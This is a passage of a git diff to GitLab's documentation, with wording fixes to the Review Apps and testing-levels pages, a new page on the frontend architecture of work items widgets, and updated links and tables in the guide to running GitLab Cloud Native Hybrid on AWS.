- `review-qa-raise-e-12chm0-migrations.1`.
-1. Click on the Pod in the "Managed pods" section, e.g.
- `review-qa-raise-e-12chm0-migrations.1-nqwtx`.
+1. [Filter Workloads by your Review App slug](https://console.cloud.google.com/kubernetes/workload?project=gitlab-review-apps). For example, `review-qa-raise-e-12chm0`.
+1. Find and open the `migrations` Deployment. For example, `review-qa-raise-e-12chm0-migrations.1`.
+1. Click on the Pod in the "Managed pods" section. For example, `review-qa-raise-e-12chm0-migrations.1-nqwtx`.
1. Click on the `Container logs` link.
Alternatively, you could use the [Logs Explorer](https://console.cloud.google.com/logs/query;query=?project=gitlab-review-apps) which provides more utility to search logs. An example query for a pod name is as follows:
@@ -161,7 +163,7 @@ subgraph "CNG-mirror pipeline"
- The `review-build-cng` job automatically starts only if your MR includes
[CI or frontend changes](../pipelines.md#changes-patterns). In other cases, the job is manual.
- The [`CNG-mirror`](https://gitlab.com/gitlab-org/build/CNG-mirror/pipelines/44364657) pipeline creates the Docker images of
- each component (e.g. `gitlab-rails-ee`, `gitlab-shell`, `gitaly` etc.)
+ each component (for example, `gitlab-rails-ee`, `gitlab-shell`, `gitaly` etc.)
based on the commit from the [GitLab pipeline](https://gitlab.com/gitlab-org/gitlab/pipelines/125315730) and stores
them in its [registry](https://gitlab.com/gitlab-org/build/CNG-mirror/container_registry).
- We use the [`CNG-mirror`](https://gitlab.com/gitlab-org/build/CNG-mirror) project so that the `CNG`, (Cloud
@@ -192,7 +194,7 @@ subgraph "CNG-mirror pipeline"
- If the `review-deploy` job keeps failing (and a manual retry didn't help),
please post a message in the `#g_qe_engineering_productivity` channel and/or create a `~"Engineering Productivity"` `~"ep::review apps"` `~"type::bug"`
issue with a link to your merge request. Note that the deployment failure can
- reveal an actual problem introduced in your merge request (i.e. this isn't
+ reveal an actual problem introduced in your merge request (that is, this isn't
necessarily a transient failure)!
- If the `review-qa-smoke` job keeps failing (note that we already retry it twice),
please check the job's logs: you could discover an actual problem introduced in
@@ -231,7 +233,7 @@ that were not removed along with the Kubernetes resources.
The cluster is configured via Terraform in the [`engineering-productivity-infrastructure`](https://gitlab.com/gitlab-org/quality/engineering-productivity-infrastructure) project.
Node pool image type must be `Container-Optimized OS (cos)`, not `Container-Optimized OS with Containerd (cos_containerd)`,
-due to this [known issue on GitLab Runner Kubernetes executor](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4755)
+due to this [known issue on the Kubernetes executor for GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4755)
### Helm
@@ -251,7 +253,7 @@ aids in identifying load spikes on the cluster, and if nodes are problematic or
### Database related errors in `review-deploy` or `review-qa-smoke`
Occasionally the state of a Review App's database could diverge from the database schema. This could be caused by
-changes to migration files or schema, such as a migration being renamed or deleted. This typically manifest in migration errors such as:
+changes to migration files or schema, such as a migration being renamed or deleted. This typically manifests in migration errors such as:
- migration job failing with a column that already exists
- migration job failing with a column that does not exist
@@ -283,7 +285,7 @@ If the Docker image does not exist:
- Verify the `image.repository` and `image.tag` options in the `helm upgrade --install` command match the repository names used by CNG-mirror pipeline.
- Look further in the corresponding downstream CNG-mirror pipeline in `review-build-cng` job.
-### Node count is always increasing (i.e. never stabilizing or decreasing)
+### Node count is always increasing (never stabilizing or decreasing)
**Potential cause:**
@@ -370,10 +372,10 @@ effectively preventing all the Review Apps from getting a DNS record assigned,
making them unreachable via domain name.
This in turn prevented other components of the Review App to properly start
-(e.g. `gitlab-runner`).
+(for example, `gitlab-runner`).
-After some digging, we found that new mounts were failing, when being performed
-with transient scopes (e.g. pods) of `systemd-mount`:
+After some digging, we found that new mounts fail when performed
+with transient scopes (for example, pods) of `systemd-mount`:
```plaintext
MountVolume.SetUp failed for volume "dns-gitlab-review-app-external-dns-token-sj5jm" : mount failed: exit status 1
@@ -399,8 +401,8 @@ For the record, the debugging steps to find out this issue were:
instances** then click the "SSH" button for the node where the `dns-gitlab-review-app-external-dns` pod runs)
1. In the node: `systemctl --version` => `systemd 232`
1. Gather some more information:
- - `mount | grep kube | wc -l` => e.g. 290
- - `systemctl list-units --all | grep -i var-lib-kube | wc -l` => e.g. 142
+ - `mount | grep kube | wc -l` (returns a count, for example, 290)
+ - `systemctl list-units --all | grep -i var-lib-kube | wc -l` (returns a count, for example, 142)
1. Check how many pods are in a bad state:
- Get all pods running a given node: `kubectl get pods --field-selector=spec.nodeName=NODE_NAME`
- Get all the `Running` pods on a given node: `kubectl get pods --field-selector=spec.nodeName=NODE_NAME | grep Running`
diff --git a/doc/development/testing_guide/testing_levels.md b/doc/development/testing_guide/testing_levels.md
index 29cdfab713e..9ca2d0db93c 100644
--- a/doc/development/testing_guide/testing_levels.md
+++ b/doc/development/testing_guide/testing_levels.md
@@ -223,14 +223,14 @@ graph RL
Formal definition: <https://en.wikipedia.org/wiki/Integration_testing>
These kind of tests ensure that individual parts of the application work well
-together, without the overhead of the actual app environment (i.e. the browser).
+together, without the overhead of the actual app environment (such as the browser).
These tests should assert at the request/response level: status code, headers,
body.
-They're useful to test permissions, redirections, what view is rendered etc.
+They're useful, for example, to test permissions, redirections, API endpoints, what view is rendered, and so forth.
| Code path | Tests path | Testing engine | Notes |
| --------- | ---------- | -------------- | ----- |
-| `app/controllers/` | `spec/requests/`, `spec/controllers` | RSpec | Request specs are preferred over legacy controller specs. |
+| `app/controllers/` | `spec/requests/`, `spec/controllers` | RSpec | Request specs are preferred over legacy controller specs. Request specs are encouraged for API endpoints. |
| `app/mailers/` | `spec/mailers/` | RSpec | |
| `lib/api/` | `spec/requests/api/` | RSpec | |
| `app/assets/javascripts/` | `spec/frontend/` | Jest | [More details below](#frontend-integration-tests) |
@@ -502,9 +502,7 @@ These tests run against the UI and ensure that basic functionality is working.
### GitLab QA orchestrator
-[GitLab QA orchestrator](https://gitlab.com/gitlab-org/gitlab-qa) is a tool that allows to test that all these pieces
-integrate well together by building a Docker image for a given version of GitLab
-Rails and running end-to-end tests (i.e. using Capybara) against it.
+[GitLab QA orchestrator](https://gitlab.com/gitlab-org/gitlab-qa) is a tool that allows you to test that all these pieces integrate well together by building a Docker image for a given version of GitLab Rails and running end-to-end tests (using Capybara) against it.
Learn more in the [GitLab QA orchestrator README](https://gitlab.com/gitlab-org/gitlab-qa/tree/master/README.md).
diff --git a/doc/development/usage_ping/dictionary.md b/doc/development/usage_ping/dictionary.md
deleted file mode 100644
index 810c789bc03..00000000000
--- a/doc/development/usage_ping/dictionary.md
+++ /dev/null
@@ -1,4 +0,0 @@
----
-redirect_to: 'https://metrics.gitlab.com/index.html'
-remove_date: '2021-11-10'
----
diff --git a/doc/development/work_items_widgets.md b/doc/development/work_items_widgets.md
new file mode 100644
index 00000000000..92919c10a9f
--- /dev/null
+++ b/doc/development/work_items_widgets.md
@@ -0,0 +1,114 @@
+---
+stage: Plan
+group: Project Management
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+# Work items widgets
+
+## Frontend architecture
+
+Widgets for work items are heavily inspired by [Frontend widgets](fe_guide/widgets.md).
+You can expect some differences, because work items are architecturally different from issuables.
+
+GraphQL (Vue Apollo) constitutes the core of work items widgets' stack.
+
+### Retrieve widget information for work items
+
+To display a work item page, the frontend must know which widgets are available
+on the work item it is attempting to display. To do so, it needs to fetch the
+list of widgets, using a query like this:
+
+```plaintext
+query WorkItem($workItemId: ID!) {
+ workItem(workItemId: $id) @client {
+ id
+ type
+ widgets {
+ nodes {
+ type
+ }
+ }
+ }
+}
+```
+
+### GraphQL queries and mutations
+
+GraphQL queries and mutations are work item agnostic. Work item queries and mutations
+should happen at the widget level, so widgets are standalone reusable components.
+The work item query and mutation should support any work item type and be dynamic.
+They should allow you to query and mutate any work item attribute by specifying a widget identifier.
+
+In this query example, the description widget uses the query and mutation to
+display and update the description of any work item:
+
+```plaintext
+query {
+ workItem(input: {
+ workItemId: "gid://gitlab/AnyWorkItem/2207",
+ widgetIdentifier: "description",
+ }) {
+ id
+ type
+ widgets {
+ nodes {
+ ... on DescriptionWidget {
+ contentText
+ }
+ }
+ }
+ }
+}
+
+```
+
+Mutation example:
+
+```plaintext
+mutation {
+ updateWorkItem(input: {
+ workItemId: "gid://gitlab/AnyWorkItem/2207",
+ widgetIdentifier: "description",
+ value: "the updated description"
+ }) {
+ workItem {
+ id
+ description
+ }
+ }
+}
+
+```
+
+### Widget's responsibility and structure
+
+A widget is responsible for displaying and updating a single attribute, such as
+title, description, or labels. Widgets must support any type of work item.
+To maximize component reusability, widgets should be field wrappers owning the
+work item query and mutation of the attribute it's responsible for.
+
+A field component is a generic and simple component. It has no knowledge of the
+attribute or work item details, such as input field, date selector, or dropdown.
+
+Widgets must be configurable to support various use cases, depending on work items.
+When building widgets, use slots to provide extra context while minimizing
+the use of props and injected attributes.
+
+### Examples
+
+We have a [dropdown field component](https://gitlab.com/gitlab-org/gitlab/-/blob/eea9ad536fa2d28ee6c09ed7d9207f803142eed7/app/assets/javascripts/vue_shared/components/dropdown/dropdown_widget/dropdown_widget.vue)
+for use as reference.
+
+Any work item widget can wrap the dropdown component. The widget has knowledge of
+the attribute it mutates, and owns the mutation for it. Multiple widgets can use
+the same field component. For example:
+
+- Title and description widgets use the input field component.
+- Start and end date use the date selector component.
+- Labels, milestones, and assignees selectors use the dropdown component.
+
+Some frontend widgets already use the dropdown component. Use them as a reference
+for work items widgets development:
+
+- `ee/app/assets/javascripts/boards/components/assignee_select.vue`
+- `ee/app/assets/javascripts/boards/components/milestone_select.vue`
diff --git a/doc/gitlab-basics/index.md b/doc/gitlab-basics/index.md
index d2d0c4fad39..5ba5366eafa 100644
--- a/doc/gitlab-basics/index.md
+++ b/doc/gitlab-basics/index.md
@@ -27,9 +27,9 @@ The following are guides to basic GitLab functionality:
projects together.
- [Create a branch](create-branch.md), to make changes to files stored in a project's repository.
- [Feature branch workflow](feature_branch_workflow.md).
-- [Fork a project](../user/project/working_with_projects.md#fork-a-project), to duplicate projects so they can be worked on in parallel.
+- [Fork a project](../user/project/repository/forking_workflow.md#creating-a-fork), to duplicate projects so they can be worked on in parallel.
- [Add a file](add-file.md), to add new files to a project's repository.
-- [Create an issue](../user/project/issues/managing_issues.md#create-a-new-issue),
+- [Create an issue](../user/project/issues/managing_issues.md#create-an-issue),
to start collaborating within a project.
- [Create a merge request](../user/project/merge_requests/creating_merge_requests.md), to request changes made in a branch
be merged into a project's repository.
diff --git a/doc/install/aws/gitlab_hybrid_on_aws.md b/doc/install/aws/gitlab_hybrid_on_aws.md
index 3c035b33be8..dbd23ff2b30 100644
--- a/doc/install/aws/gitlab_hybrid_on_aws.md
+++ b/doc/install/aws/gitlab_hybrid_on_aws.md
@@ -14,13 +14,13 @@ Amazon provides a managed Kubernetes service offering known as [Amazon Elastic K
## Tested AWS Bill of Materials by reference architecture size
-| GitLab Cloud Native Hybrid Ref Arch | GitLab Baseline Perf Test Results Omnibus on Instances | AWS Bill of Materials (BOM) for CNH | AWS Build Performance Testing Results for [CNH](https://gitlab.com/gitlab-com/alliances/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/5K/5k-QuickStart-ARM-RDS-Redis_v13-12-3-ee_2021-07-23_140128/5k-QuickStart-ARM-RDS-Redis_v13-12-3-ee_2021-07-23_140128_results.txt) | CNH Cost Estimate 3 AZs* |
+| GitLab Cloud Native Hybrid Ref Arch | GitLab Baseline Perf Test Results Omnibus on Instances | AWS Bill of Materials (BOM) for CNH | AWS Build Performance Testing Results for [CNH](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/5K/5k-QuickStart-ARM-RDS-Redis_v13-12-3-ee_2021-07-23_140128/5k-QuickStart-ARM-RDS-Redis_v13-12-3-ee_2021-07-23_140128_results.txt) | CNH Cost Estimate 3 AZs* |
| ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ |
| [2K Omnibus](../../administration/reference_architectures/2k_users.md) | [2K Baseline](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Benchmarks/Latest/2k) | [2K Cloud Native Hybrid on EKS](#2k-cloud-native-hybrid-on-eks) | GPT Test Results | [1 YR Ec2 Compute Savings + 1 YR RDS & Elasticache RIs](https://calculator.aws/#/estimate?id=544bcf1162beae6b8130ad257d081cdf9d4504e3)<br />(2 AZ Cost Estimate is in BOM Below) |
-| [3K](../../administration/reference_architectures/3k_users.md#cloud-native-hybrid-reference-architecture-with-helm-charts-alternative) | [3k Baseline](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Benchmarks/Latest/3k) | [3K Cloud Native Hybrid on EKS](#3k-cloud-native-hybrid-on-eks) | [3K Full Fixed Scale GPT Test Results](https://gitlab.com/gitlab-com/alliances/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/3K/3k-QuickStart-ARM-RDS-Cache_v13-12-3-ee_2021-07-23_124216/3k-QuickStart-ARM-RDS-Cache_v13-12-3-ee_2021-07-23_124216_results.txt)<br /><br />[3K Elastic Auto Scale GPT Test Results](https://gitlab.com/gitlab-com/alliances/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/3K/3k-QuickStart-AutoScale-ARM-RDS-Cache_v13-12-3-ee_2021-07-23_194200/3k-QuickStart-AutoScale-ARM-RDS-Cache_v13-12-3-ee_2021-07-23_194200_results.txt) | [1 YR Ec2 Compute Savings + 1 YR RDS & Elasticache RIs](https://calculator.aws/#/estimate?id=f1294fec554e21be999711cddcdab9c5e7f83f14)<br />(2 AZ Cost Estimate is in BOM Below) |
-| [5K](../../administration/reference_architectures/5k_users.md#cloud-native-hybrid-reference-architecture-with-helm-charts-alternative) | [5k Baseline](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Benchmarks/Latest/5k) | [5K Cloud Native Hybrid on EKS](#5k-cloud-native-hybrid-on-eks) | [5K Full Fixed Scale GPT Test Results](https://gitlab.com/gitlab-com/alliances/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/5K/5k-QuickStart-ARM-RDS-Redis_v13-12-3-ee_2021-07-23_140128/5k-QuickStart-ARM-RDS-Redis_v13-12-3-ee_2021-07-23_140128_results.txt)<br /><br />[5K AutoScale from 25% GPT Test Results](https://gitlab.com/gitlab-com/alliances/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/5K/5k-QuickStart-AutoScale-From-25Percent-ARM-RDS-Redis_v13-12-3-ee_2021-07-24_102717/5k-QuickStart-AutoScale-From-25Percent-ARM-RDS-Redis_v13-12-3-ee_2021-07-24_102717_results.txt) | [1 YR Ec2 Compute Savings + 1 YR RDS & Elasticache RIs](https://calculator.aws/#/estimate?id=330ee43c5b14662db5df6e52b34898d181a09e16) |
-| [10K](../../administration/reference_architectures/10k_users.md#cloud-native-hybrid-reference-architecture-with-helm-charts-alternative) | [10k Baseline](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Benchmarks/Latest/10k) | [10K Cloud Native Hybrid on EKS](#10k-cloud-native-hybrid-on-eks) | [10K Full Fixed Scale GPT Test Results](https://gitlab.com/gitlab-com/alliances/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/10K/GL-CloudNative-10k-RDS-Graviton_v13-12-3-ee_2021-07-08_194647/GL-CloudNative-10k-RDS-Graviton_v13-12-3-ee_2021-07-08_194647_results.txt)<br /><br />[10K Elastic Auto Scale GPT Test Results](hhttps://gitlab.com/gitlab-com/alliances/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/10K/GL-CloudNative-10k-AutoScaling-Test_v13-12-3-ee_2021-07-09_115139/GL-CloudNative-10k-AutoScaling-Test_v13-12-3-ee_2021-07-09_115139_results.txt) | [10K 1 YR Ec2 Compute Savings + 1 YR RDS & Elasticache RIs](https://calculator.aws/#/estimate?id=5ac2e07a22e01c36ee76b5477c5a046cd1bea792) |
-| [50K](../../administration/reference_architectures/50k_users.md#cloud-native-hybrid-reference-architecture-with-helm-charts-alternative) | [50k Baseline](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Benchmarks/Latest/50k) | [50K Cloud Native Hybrid on EKS](#50k-cloud-native-hybrid-on-eks) | [50K Full Fixed Scale GPT Test Results](https://gitlab.com/gitlab-com/alliances/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/50K/50k-Fixed-Scale-Test_v13-12-3-ee_2021-08-13_172819/50k-Fixed-Scale-Test_v13-12-3-ee_2021-08-13_172819_results.txt)<br /><br />[10K Elastic Auto Scale GPT Test Results](https://gitlab.com/gitlab-com/alliances/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/50K/50k-AutoScale-Test_v13-12-3-ee_2021-08-13_192633/50k-AutoScale-Test_v13-12-3-ee_2021-08-13_192633.txt) | [50K 1 YR Ec2 Compute Savings + 1 YR RDS & Elasticache RIs](https://calculator.aws/#/estimate?id=b9c9d6ac1d4a7848011d2050cef3120931fb7c22) |
+| [3K](../../administration/reference_architectures/3k_users.md#cloud-native-hybrid-reference-architecture-with-helm-charts-alternative) | [3k Baseline](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Benchmarks/Latest/3k) | [3K Cloud Native Hybrid on EKS](#3k-cloud-native-hybrid-on-eks) | [3K Full Fixed Scale GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/3K/3k-QuickStart-ARM-RDS-Cache_v13-12-3-ee_2021-07-23_124216/3k-QuickStart-ARM-RDS-Cache_v13-12-3-ee_2021-07-23_124216_results.txt)<br /><br />[3K Elastic Auto Scale GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/3K/3k-QuickStart-AutoScale-ARM-RDS-Cache_v13-12-3-ee_2021-07-23_194200/3k-QuickStart-AutoScale-ARM-RDS-Cache_v13-12-3-ee_2021-07-23_194200_results.txt) | [1 YR Ec2 Compute Savings + 1 YR RDS & Elasticache RIs](https://calculator.aws/#/estimate?id=f1294fec554e21be999711cddcdab9c5e7f83f14)<br />(2 AZ Cost Estimate is in BOM Below) |
+| [5K](../../administration/reference_architectures/5k_users.md#cloud-native-hybrid-reference-architecture-with-helm-charts-alternative) | [5k Baseline](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Benchmarks/Latest/5k) | [5K Cloud Native Hybrid on EKS](#5k-cloud-native-hybrid-on-eks) | [5K Full Fixed Scale GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/5K/5k-QuickStart-ARM-RDS-Redis_v13-12-3-ee_2021-07-23_140128/5k-QuickStart-ARM-RDS-Redis_v13-12-3-ee_2021-07-23_140128_results.txt)<br /><br />[5K AutoScale from 25% GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/5K/5k-QuickStart-AutoScale-From-25Percent-ARM-RDS-Redis_v13-12-3-ee_2021-07-24_102717/5k-QuickStart-AutoScale-From-25Percent-ARM-RDS-Redis_v13-12-3-ee_2021-07-24_102717_results.txt) | [1 YR Ec2 Compute Savings + 1 YR RDS & Elasticache RIs](https://calculator.aws/#/estimate?id=330ee43c5b14662db5df6e52b34898d181a09e16) |
+| [10K](../../administration/reference_architectures/10k_users.md#cloud-native-hybrid-reference-architecture-with-helm-charts-alternative) | [10k Baseline](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Benchmarks/Latest/10k) | [10K Cloud Native Hybrid on EKS](#10k-cloud-native-hybrid-on-eks) | [10K Full Fixed Scale GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/10K/GL-CloudNative-10k-RDS-Graviton_v13-12-3-ee_2021-07-08_194647/GL-CloudNative-10k-RDS-Graviton_v13-12-3-ee_2021-07-08_194647_results.txt)<br /><br />[10K Elastic Auto Scale GPT Test Results](hhttps://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/10K/GL-CloudNative-10k-AutoScaling-Test_v13-12-3-ee_2021-07-09_115139/GL-CloudNative-10k-AutoScaling-Test_v13-12-3-ee_2021-07-09_115139_results.txt) | [10K 1 YR Ec2 Compute Savings + 1 YR RDS & Elasticache RIs](https://calculator.aws/#/estimate?id=5ac2e07a22e01c36ee76b5477c5a046cd1bea792) |
+| [50K](../../administration/reference_architectures/50k_users.md#cloud-native-hybrid-reference-architecture-with-helm-charts-alternative) | [50k Baseline](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Benchmarks/Latest/50k) | [50K Cloud Native Hybrid on EKS](#50k-cloud-native-hybrid-on-eks) | [50K Full Fixed Scale GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/50K/50k-Fixed-Scale-Test_v13-12-3-ee_2021-08-13_172819/50k-Fixed-Scale-Test_v13-12-3-ee_2021-08-13_172819_results.txt)<br /><br />[10K Elastic Auto Scale GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/50K/50k-AutoScale-Test_v13-12-3-ee_2021-08-13_192633/50k-AutoScale-Test_v13-12-3-ee_2021-08-13_192633.txt) | [50K 1 YR Ec2 Compute Savings + 1 YR RDS & Elasticache RIs](https://calculator.aws/#/estimate?id=b9c9d6ac1d4a7848011d2050cef3120931fb7c22) |
\*Cost calculations for actual implementations are a rough guideline with the following considerations:
@@ -41,18 +41,20 @@ The developer preview deploys Aurora PostgreSQL, but the release version will de
The [GitLab Environment Toolkit (GET)](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit/-/tree/master) is an effort made by GitLab to create a multi-cloud, multi-GitLab (Omnibus + Cloud Native Hybrid) toolkit to provision GitLab. GET is developed by GitLab developers and is open to community contributions.
It is helpful to review the [GitLab Environment Toolkit (GET) Issues](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit/-/issues) to understand if any of them may affect your provisioning plans.
-| | [AWS Quick Start for GitLab Cloud Native Hybrid on EKS](https://aws-quickstart.github.io/quickstart-eks-gitlab/) | [GitLab Environment Toolkit (GET)](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit/-/tree/master) |
+| | [AWS Quick Start for GitLab Cloud Native Hybrid on EKS](https://aws-quickstart.github.io/quickstart-eks-gitlab/) | [GitLab Environment Toolkit (GET)](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit) |
| ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ |
+| Licensing | [Open Source (Apache 2.0)](https://github.com/aws-quickstart/quickstart-eks-gitlab/blob/main/LICENSE.txt) | [GitLab Enterprise Edition license](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit/-/blob/main/LICENSE) ([GitLab Premium tier](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit/-/blob/main/README.md)) |
+| Overview and Vision | [AWS Quick Start](https://aws.amazon.com/quickstart/) | [GitLab Environment Toolkit](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit/-/blob/main/README.md) |
| GitLab Reference Architecture Compliant | Yes | Yes |
| GitLab Performance Tool (GPT) Tested | Yes | Yes |
| Amazon Well Architected Compliant | Yes<br />(via Quick Start program) | Critical portions <br />reviewed by AWS |
| Target Cloud Platforms | AWS | AWS, Google, Azure |
| IaC Languages | CloudFormation (Quick Starts) | Terraform, Ansible |
-| Community Contributions and Participation (EcoSystem) | <u>GitLab QSG</u>: Getting Started<br /><u>For QSG Dependencies (e.g. EKS)</u>: Substantial | Getting Started |
-| Compatible with AWS Meta-Automation Services (via CloudFormation) | Service Catalog (Direct Import), Control Tower<br />Quick Starts, SaaS Factory | No |
+| Community Contributions and Participation (EcoSystem) | <u>GitLab QSG</u>: Getting Started<br /><u>For QSG Dependencies (for example, EKS)</u>: Substantial | Getting Started |
+| Compatible with AWS Meta-Automation Services (via CloudFormation) | - [AWS Service Catalog](https://aws.amazon.com/servicecatalog/) (Direct Import)<br>- [ServiceNow via an AWS Service Catalog Connector](https://docs.aws.amazon.com/servicecatalog/latest/adminguide/integrations-servicenow.html#integrations-servicenow)<br>- [Jira Service Manager via an AWS Service Catalog Connector](https://docs.aws.amazon.com/servicecatalog/latest/adminguide/integrations-jiraservicedesk.html#integrations-jiraservicedesk)<br>- [AWS Control Tower](https://docs.aws.amazon.com/controltower/) ([Integration](https://aws.amazon.com/blogs/infrastructure-and-automation/deploy-aws-quick-start-to-multiple-accounts-using-aws-control-tower/))<br>- Quick Starts<br>- [AWS SaaS Factory](https://aws.amazon.com/partners/programs/saas-factory/) | No |
| Results in a Ready-to-Use instance | Yes | Manual Actions or <br />Supplemental IaC Required |
| **<u>Configuration Features</u>** | | |
-| Can deploy Omnibus GitLab (non-Kubernetes | No | Yes |
+| Can deploy Omnibus GitLab (non-Kubernetes) | No | Yes |
| Results in a self-healing Gitaly Cluster configuration | Yes | No |
| Complete Internal Encryption | 85%, Targeting 100% | Manual |
| AWS GovCloud Support | Yes | TBD |
@@ -65,7 +67,7 @@ Gitaly Cluster uses a consistency voting system to implement strong consistency
### Streamlined Performance Testing of AWS Quick Start Prepared GitLab Instances
-A set of performance testing instructions have been abbreviated for testing a GitLab instance prepared using the AWS Quick Start for GitLab Cloud Native Hybrid on EKS. They assume zero familiarity with GitLab Performance Tool. They can be accessed here: [Performance Testing an Instance Prepared using AWS Quick Start for GitLab Cloud Native Hybrid on EKS](https://gitlab.com/gitlab-com/alliances/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/Easy-DIY-Perf-Testing.md).
+A set of performance testing instructions have been abbreviated for testing a GitLab instance prepared using the AWS Quick Start for GitLab Cloud Native Hybrid on EKS. They assume zero familiarity with GitLab Performance Tool. They can be accessed here: [Performance Testing an Instance Prepared using AWS Quick Start for GitLab Cloud Native Hybrid on EKS](https://gitlab.com/guided-explorations/aws/implementation-patterns/getting-started-gitlab-aws-quick-start/-/wikis/Easy-Performance-Testing-for-AWS-Quick-Start-for-GitLab-CNH).
### AWS GovCloud Support for AWS Quick Start for GitLab CNH on EKS
@@ -129,7 +131,7 @@ Some services, such as log aggregation, outbound email are not specified by GitL
- TBD
**Deploy Now**
- Deploy Now links leverage the AWS Quick Start automation and only prepopulate the number of instances and instance types for the Quick Start based on the Bill of Meterials below. You must provide appropriate input for all other parameters by following the guidance in the [Quick Start documentation's Deployment steps](https://aws-quickstart.github.io/quickstart-eks-gitlab/#_deployment_steps) section.
+ Deploy Now links leverage the AWS Quick Start automation and only pre-populate the number of instances and instance types for the Quick Start based on the Bill of Materials below. You must provide appropriate input for all other parameters by following the guidance in the [Quick Start documentation's Deployment steps](https://aws-quickstart.github.io/quickstart-eks-gitlab/#_deployment_steps) section.
- **Deploy Now: AWS Quick Start for 2 AZs**
- **Deploy Now: AWS Quick Start for 3 AZs**
@@ -174,15 +176,15 @@ If EKS node autoscaling is employed, it is likely that your average loading will
**GPT Test Results**
-- [3K Full Fixed Scale GPT Test Results](https://gitlab.com/gitlab-com/alliances/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/3K/3k-QuickStart-ARM-RDS-Cache_v13-12-3-ee_2021-07-23_124216/3k-QuickStart-ARM-RDS-Cache_v13-12-3-ee_2021-07-23_124216_results.txt)
+- [3K Full Fixed Scale GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/3K/3k-QuickStart-ARM-RDS-Cache_v13-12-3-ee_2021-07-23_124216/3k-QuickStart-ARM-RDS-Cache_v13-12-3-ee_2021-07-23_124216_results.txt)
-- [3K AutoScale from 25% GPT Test Results](https://gitlab.com/gitlab-com/alliances/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/3K/3k-QuickStart-AutoScale-ARM-RDS-Cache_v13-12-3-ee_2021-07-23_194200/3k-QuickStart-AutoScale-ARM-RDS-Cache_v13-12-3-ee_2021-07-23_194200_results.txt)
+- [3K AutoScale from 25% GPT Test Results](https://gitlab.com/guided-explorations/aws/implementation-patterns/gitlab-cloud-native-hybrid-on-eks/-/blob/master/gitlab-alliances-testing/3K/3k-QuickStart-AutoScale-ARM-RDS-Cache_v13-12-3-ee_2021-07-23_194200/3k-QuickStart-AutoScale-ARM-RDS-Cache_v13-12-3-ee_2021-07-23_194200_results.txt)
Elastic Auto Scale GPT Test Results start with an idle scaled cluster and then start the standard GPT test to determine if the EKS Auto Scaler performs well enough to keep up with performance test demands. In general this is substantially harder ramping than the scaling required when the ramping is driven my normal production workloads.
**Deploy Now**
-Deploy Now links leverage the AWS Quick Start automation and only prepopulate the number of instances and instance types for the Quick Start based on the Bill of Meterials below. You must provide appropriate input for all other parameters by following the guidance in the [Quick Start documentation's Deployment steps](https://aws-quickstart.github.io/quickstart-eks-gitlab/#_deployment_steps) section.
